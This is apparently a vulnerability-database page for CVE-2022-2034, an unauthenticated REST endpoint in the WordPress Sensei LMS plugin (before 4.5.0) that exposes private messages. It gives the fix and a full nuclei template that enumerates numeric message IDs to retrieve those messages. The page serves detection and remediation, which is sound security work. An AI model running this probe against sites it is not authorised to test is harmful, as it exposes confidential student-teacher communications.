HexBrain

Browse / CVEs / CVE-2022-2034

CVE-2022-2034· automattic / sensei lms· CWE-639

WordPress Sensei LMS <4.5.0 - Information Disclosure

mediumseverity
5.3CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.

Impact

Unauthenticated attackers can access private Sensei LMS messages via unprotected REST API endpoints, potentially exposing confidential student-teacher communications.

Fix

Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}
Positive when: contains "sensei_message" and "guid\":{\"rendered\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2034 -u <target>

The full check
id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  impact: |
    Unauthenticated attackers can access private Sensei LMS messages via unprotected REST API endpoints, potentially exposing confidential student-teacher communications.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.02696
    epss-percentile: 0.86039
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"

    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from